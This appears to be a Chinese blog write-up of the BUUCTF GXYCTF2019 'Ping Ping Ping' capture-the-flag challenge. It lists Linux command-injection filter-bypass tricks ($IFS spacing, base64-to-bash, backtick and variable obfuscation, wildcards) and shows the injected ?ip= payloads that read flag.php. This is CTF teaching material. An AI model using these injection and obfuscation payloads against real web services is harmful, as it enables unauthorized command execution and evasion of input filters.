首页 > 其他分享 >BUUCTF-[GXYCTF2019]Ping Ping Ping

BUUCTF-[GXYCTF2019]Ping Ping Ping

时间:2022-12-31 16:33:09浏览次数:57  
标签:BUUCTF ip Ping cat 命令 flag ls php GXYCTF2019

一道命令执行题目

 

 一、基础知识

【;】作为多个命令语句的分隔符(Command separator [semicolon])。 要在一个语句里面执行多个命令时,可以使用分号分隔。注意,有时候分号需要转义。

【|】管道(pipe)。管道是Linux,Unix都有的概念,是非常基础,也是非常重要的一个概念。它的作用是将管道前(左边)的命令产生的输出(stdout)作为管道后(右边)的命令的输入(stdin)。

【{}】代码块(curly brackets)。 这个是匿名函数,但是又与函数不同,在代码块里面的变量在代码块后面仍能访问。注意:花括号内侧需要有空格与语句分隔。

 

1)|| 符号 当前一条命令执行结果为false 就执行下一条命令

 

2)| 符号 只执行 | 符号后面的命令

 

3)&&符号 当前一条命令执行结果为true 就执行下一条命令

 

4)&符号 只执行 & 符号后面的命令

 

5); 符号 不管前一条命令执行的结果是什么,执行下一条命令

6)a=l;b=s;$a$b        //变量覆盖

7)`echo d2hvYW1p | base64 -d `     echo d2hvYW1p | base64 -d | bash          //base64绕过

8)w`saaaddd8450`ho`762aseba2`am`f0j71`i      wh$(caigou)oa$(anquan)mi       666`whoami`666      //反引号加混淆

9)wh$1oami        who$@ami        whoa$*mi       //$1、$@、$*混淆

10)${PATH:5:1}${PATH:2:1}   (执行了ls)  //提取环境变量中的字符执行命令(注意切片是从0开始计数的)对于环境变量字符过少的问题,可以通过export PATH=$PATH:/abcdefg/hijklmn/opq/rst/uvw/xyz/0123456789设置临时环境变量

 

  • Linux下空格绕过方式

1)cat${IFS}flag.txt
2)cat$IFS$1flag.txt    //此处的数字可以换
3)cat<flag.txt
4)cat<>flag.txt
5){cat,flag.txt}   //在大括号中可用逗号代替空格(前面没有$)

  • Linux下对过滤字符的绕过方式

1)cat fl* //利用*可以任意匹配一个或多个字符
2)cat fl?g //利用?可以任意匹配一个字符
3)echo “Y2F0IGZsYWcucGhw”| base64 -d | bash //base64编码为所要执行的shell命令
4)ca\t fl\ag.php //有待了解
5)cat fl''ag.php
6)a=a;cat${IFS}fl$ag.php //通过变量覆盖绕过字符过滤
7)cat `ls`    //通过命令引用绕过

  • Linux下变量引用

1)$变量名 和 ${变量名}  //当变量名后跟其他字符时,要用大括号括起来或者直接在变量名后加一个$1

  • Linux下命令引用

1)$(命令语句) 和  ` 命令语句`(反引号)

二、解题过程

 由提示可知,通过/?ip= 上传控制参数,此题是命令执行漏洞

/?ip=127.0.0.1;ls查看当前目录文件

 

 

发现有flag.php和index.php

直接/?ip=127.0.0.1;cat flag.php查看文件

 

结果发现有过滤,过滤了空格

于是对空格进行绕过/?ip=127.0.0.1;cat${IFS}flag.php

 

 

 

淦,这次是过滤了符号,测试后发现是过滤了大括号{}

于是更换绕过姿势/?ip=127.0.0.1;cat$IFS$1flag.php

 

又淦,这次把我的flag给过滤了

选择查看另一个文件/?ip=127.0.0.1;cat$IFS$1index.php

 

 

 

有源代码,知晓了过滤情况

使用变量覆盖进行绕过/?ip=127.0.0.1;a=l;cat$IFS$1f$aag.php

 

 

没有返回flag但也没有过滤。想到可能是我变量名引发歧义,于是在$a后加了一个$1

/?ip=127.0.0.1;a=l;cat$IFS$1f$a$1ag.php

 

 

 

得到返回结果flag{223ca838-3a28-41df-9821-d65d036099e5}

三、一点思考

此题还可以使用反引号来绕过flag的过滤/?ip=127.0.0.1;cat$IFS$1`ls`

 

同时我想到可以用通道符来绕过吗

 /?ip=127.0.0.1;ls|cat

 

不行,没有执行cat

在Linux中测试后发现

 

`ls`执行后的返回结果是用空格分隔的,而ls | 传输的内容是用换行符分隔的。cat 2.txt 3.txt可以执行,但cat 换行符2.txt换行符3.txt不能执行。所以ls | cat不能替换cat `ls`。(仅仅是本人自己的认知)

 

标签:BUUCTF,ip,Ping,cat,命令,flag,ls,php,GXYCTF2019
From: https://www.cnblogs.com/niyani/p/17016476.html

相关文章

  • E. Cross Swapping-带权并查集cf1713
    E.CrossSwappinghttps://codeforces.ml/problemset/problem/1713/E题意给定n*n的矩阵每次可以选定第k行和第k列交换位置操作次数不限求最小字典序的矩阵思路让......
  • SpringBoot - @RequestMapping 注解
    @Target({ElementType.TYPE,ElementType.METHOD})//只能在方法上使用@Retention(RetentionPolicy.RUNTIME)@Documented@Mappingpublic@interfaceRequestMapping{......
  • Collectors.groupingBy
    Java中的Collectors类的groupingBy()方法用于按某些属性对对象进行分组并将结果存储在Map实例中。当我我们想利用它的特性,我们需要指定一个属性来执行分组。此方法提供的......
  • ICMP-ping报错类型
        ICMP数据包的包头,两个重要字段Type和Code,如图所示  ICMP消息类型和编码类型 回显请求包,正常为80回显回复包,正常为00其余均为报错类型。超时:对方主......
  • windows 禁止ping 和 允许 ping
    以管理员身份启动cmd.exe:启用ping:netshadvfirewallfirewalladdrulename="ICMPAllowincomingV4echorequest"protocol=icmpv4:8,anydir=inaction=allow禁......
  • 服务器ping丢包怎么办
    服务器ping丢包怎么办一般跨境企业比如说跨境电商、游戏等等都会有海外各个节点服务器的需求,包括对海外服务器的需求。当使用服务器时,难免会出现一些问题,比如说丢包。那么,......
  • 网络程序设计 实验5 图形化Ping工具
    实验5图形化Ping工具实验目的:用图形界面实现Ping操作。开发语言与工具:VC实验要求:1.使用MFC编程。2.界面上有目标地址栏,信息框和ping按钮。3.使用原始套接字实......
  • 不用路由器让开发板ping通外网
    前言:之前在学校折腾openwrt就把开发板和电脑都接到路由器上了,回家只能用无线网,双网卡不同网段这样开发板上网就得转发一下才行,我选择的方式是开启linux虚拟机的转发功......
  • 20221227ping命令+格西调试精灵的使用
      先用格西调试精灵,”通信接口“连接后才能ping通 ping是什么?ping就是windows、Unix或者Linux系统下达的一个命令,也可以说是一个通信协议,并且是TCP/IP协议的一......
  • 深信服防火墙重启后ping不通问题
    经测试,深信服在防火墙重启后会发生部分交换机及下联的服务器ping不通防火墙管理地址的情况。这个问题是因为网关交换机上关于防火墙管理地址的arp未更新导致的。华为交换......